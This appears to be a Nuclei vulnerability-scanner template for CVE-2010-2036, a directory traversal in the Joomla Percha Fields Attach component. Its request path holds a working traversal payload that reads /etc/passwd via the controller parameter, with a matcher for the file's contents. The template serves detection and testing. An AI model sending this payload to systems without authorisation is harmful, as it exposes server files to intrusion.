id: CVE-2010-2036

info:
  name: Joomla! Component Percha Fields Attach 1.0 - Directory Traversal
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Percha Fields Attach (com_perchafieldsattach) component 1.x for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    An attacker can access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/34004
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2036
    - http://packetstormsecurity.org/1005-exploits/joomlaperchafa-lfi.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-2036
    cwe-id: CWE-22
    epss-score: 0.1321
    epss-percentile: 0.95984
    cpe: cpe:2.3:a:percha:com_perchafieldsattach:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: percha
    product: com_perchafieldsattach
  tags: cve,cve2010,lfi,joomla,edb,packetstorm,percha,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_perchafieldsattach&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a004630440220038d2cfdac79c3233dd7d5b413f9bd17c59da040edbb3823c0be844a9b43344702204cb89807e857895aca3921cadee001c919aa03a7a981a413faa19c6b0ae0b872:922c64590222798bb761d5b6d8e72950